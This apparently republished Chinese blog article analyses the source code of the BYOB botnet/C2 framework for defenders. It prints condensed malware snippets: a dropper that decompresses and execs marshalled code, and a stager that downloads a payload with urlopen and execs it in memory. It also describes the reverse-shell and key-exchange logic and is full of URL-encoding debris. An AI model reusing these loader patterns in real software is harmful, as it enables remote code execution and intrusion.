工具|BYOBC2框架源码架构分析"

admin 2026-10-20 00:00:25 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

工具%20|%20BYOB%20C2%20框架源码架构分析

原创

GLM-5.2
GLM-5.2

赛博生存指南

2026年7月15日%2008:58
浙江

在小说阅读器读本章

去阅读

本文为源码层的完整架构梳理,主体阅读对象为安全研究者、蓝队/EDR%20工程师、以及对%20Python%20后渗透框架设计感兴趣的开发者。BYOB(Build%20Your%20Own%20Botnet)是%20malwaredllc%20维护的开源后渗透框架,定位是\"教学/研究用%20C2\",与%20malefic、Sliver%20同属一类,但用纯%20Python%20实现,主打\"文件式远程导入\"与\"零依赖生成器\"两个卖点。

分析基于%20commit b494690%20remove%20broken%20build%20badge,对应版本 v2.0(v2.0-30-gb494690),最近一次提交%202024-07。本文侧重架构与工程缺陷,不构成使用指引。
仓库地址:https://github.com/malwaredllc/byob


目录
  1. 整体概览
  2. 分层加载链%20dropper%20/%20stager%20/%20payload
  3. 通信协议与加密
  4. 远程导入机制%20core/loader.py
  5. C2%20服务器与数据层
  6. 后渗透模块体系
  7. Web%20GUI%20层
  8. 多平台交叉编译
  9. 安全与抗分析子系统的真相
  10. 设计亮点(可借鉴)
  11. 安全与工程缺陷(缺点)
  12. 解读结论

1.%20整体概览 1.1%20两套并行实现

仓库里有两个互相独立的%20BYOB,而不是一个核心%20+%20一个前端:

  • byob/ ——%20原始控制台应用,约%207100%20行%20Python。
  • web-gui/buildyourownbotnet/ ——%20Flask%20Web%20GUI,约%2010377%20行%20Python(含一个%202330%20行的 dummy_payload_for_testing.py)。

两者的 core/(payloads%20/%20security%20/%20loader%20/%20stagers%20/%20generators%20/%20util%20/%20handler)与 modules/ 几乎逐文件复制粘贴,量化如下(web-gui%20vs%20控制台,按字节):

文件 web-gui 控制台 已分叉
payloads.py 43.8%20KB 42.1%20KB 是
security.py 56.4%20KB 55.7%20KB 是
generators.py 11.0%20KB 10.0%20KB 是(关键)
loader.py 9.4%20KB 9.4%20KB 否
util.py 17.2%20KB 17.2%20KB 否

合计约%20140%20KB%20重复核心代码%20+%2011%20个重复模块文件。差异是有负载且已偏离的:

  • 导入风格不同:web-gui%20用 from%20buildyourownbotnet.core%20import%20util,控制台用 import%20util。
  • freeze() 签名不同:web-gui%20多了 owner%20/%20operating_system%20/%20architecture 与整套%20Docker%20分派;控制台只有 debug。
  • PyInstaller .spec 模板不同:web-gui%20写 block_cipher%20=%20None、debug=True、console=True;控制台写 block_cipher%20=%20pyi_crypto.PyiBlockCipher(key=${KEY})、debug=False、console=False。两边产出的二进制材质不同,安全相关修复不会跨树传播。

这是整个仓库最大的维护债务:一处修了加密/帧化%20bug,另一处照旧。

1.2%20四端口架构

server.py 的 main()(server.py:130-141)在%20C2%20主端口之外再起三个辅助服务,全部明文、无认证、绑 0.0.0.0:

端口 服务 用途
1337(C2) 原始%20TCP%20socket(C2._socket,server.py:377) 反向%20TCP%20shell
1338(port+1) python%20-m%20http.server%20cwd=modules(server.py:134) 托管%20BYOB%20模块 以及生成的%20payload/stager%20源码
1339(port+2) python%20-m%20http.server%20cwd=site-packages(server.py:131) 托管任意%20pip%20包
1340(port+3) core/handler.py%20HTTP%20POST(server.py:137) 接收回传文件

C2%20主端口是\"真正的\"服务端逻辑,另外三个本质是哑文件服务器%20+%20一个%20POST%20接收池。main() 还打开一个 temp 文件(server.py:126)把三个子进程的%20stdout/stderr%20全部重定向进去吞掉。


2.%20分层加载链%20dropper%20/%20stager%20/%20payload

byob/client.py 的 main()(client.py:122)分五段组装投递物:_modules → _imports → _hidden → _payload → _stager → _dropper。最终产出三层加载链:

dropper(约 6 行)
 %20 │%20 exec(eval(marshal.loads(zlib.decompress(base64b64(...)))))
 %20 │%20 payload%20段%20= urlopen(<stager_url>).read()
 %20 ▼
stager(纯%20stdlib)
 %20 │%20 urlopen(url).read()%20 →%20 可选 decrypt(XXTEA)%20 →%20 exec(payload, globals())
 %20 ▼
payload(完整反弹%20shell)
 %20 │%20 Payload(host,%20port).run()
 %20 │%20 %20 _get_connection(反向%20TCP,失败每 30s 重试)
 %20 │%20 %20 _get_key(Diffie-Hellman)
 %20 │%20 %20 _get_info(主机指纹%20+%20首帧)

要点:

  • stager%20最先跑。stagers.py:run()(stagers.py:62-67)urlopen(url).read() 拉取%20payload,可选 decrypt(...)(实际是%20XXTEA,见%20§3),然后 exec(payload,%20globals()),全程不落盘。
  • payload%20静态加密用\"XOR-128\"(实为%20XXTEA)。client.py:191 生成 key%20=%20base64.b64encode(os.urandom(16)),每次 client.py 运行都新生成;若 --encrypt,_payload 调 security.encrypt_xor(payload,%20base64.b64decode(key))(client.py:329)。随后 _stager 把%20key 作为字符串字面量嵌进%20stager%20源码(client.py:371 → generators.py:156)。即\"密钥随密文同箱配送\",拿到%20stager%20就拿到%20key——这是混淆,不是保密。
  • 运行期%20C2%20信道用%20AES-256-CBC,密钥由%20DH%20协商,见%20§3。
  • dropper%20压缩态用 zlib.compress(marshal.dumps(compile(src,'','exec')),%209) 自解压一行流(generators.py:120),--freeze 时 shell=True 调%20PyInstaller(generators.py:194)。反%20VM/反%20AV/沙箱检测住在运行期 core/payloads.py 里,不在生成器里。

3.%20通信协议与加密 3.1%20帧格式

双向都是%204%20字节大端无符号长度前缀%20+%20body:

+----------------+----------------------------------------------+
|%20length%20(4B%20BE)%20|%20body%20=%20base64(%20AES-256-CBC(json)%20)%20 %20 %20 %20 %20 %20|
|%20struct.pack%20 %20 |%20 %20IV%20随机/每帧,前置于密文%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20|
|%20('!L',%20len)%20 %20 |%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 |
+----------------+----------------------------------------------+

发送:struct.pack('!L',%20len(data))%20+%20data → connection.sendall(msg)(payloads.py:920-921、server.py:1024)。接收:先 recv(4) 读头,再 recv(struct.unpack('!L',%20hdr)[0]) 读体(payloads.py:954-959、server.py:1046)。序列化用%20JSON(线上无%20pickle——server.py:12 的 import%20pickle 是死代码)。

3.2%20Diffie-Hellman%20密钥协商

security.py:332-350:

g%20=%202
p%20=%200xFFFFFFFF...%20 %20 %20 #%201536-bit%20MODP%20Group%205(RFC%203526)
a%20=%20bytes_to_long(os.urandom(32))%20  #%20256-bit%20私钥
xA%20=%20pow(g,%20a,%20p)
connection.send(long_to_bytes(xA))%20 %20 %20 %20 %20 %20 %20  #%20发公值
xB%20=%20bytes_to_long(connection.recv(256))%20 %20 %20 %20 %20 #%20BUG:见%20§11
s%20 =%20pow(xB,%20a,%20p)
return%20sha256(long_to_bytes(s)).digest()%20 %20 %20 %20 %20 #%2032B%20AES%20密钥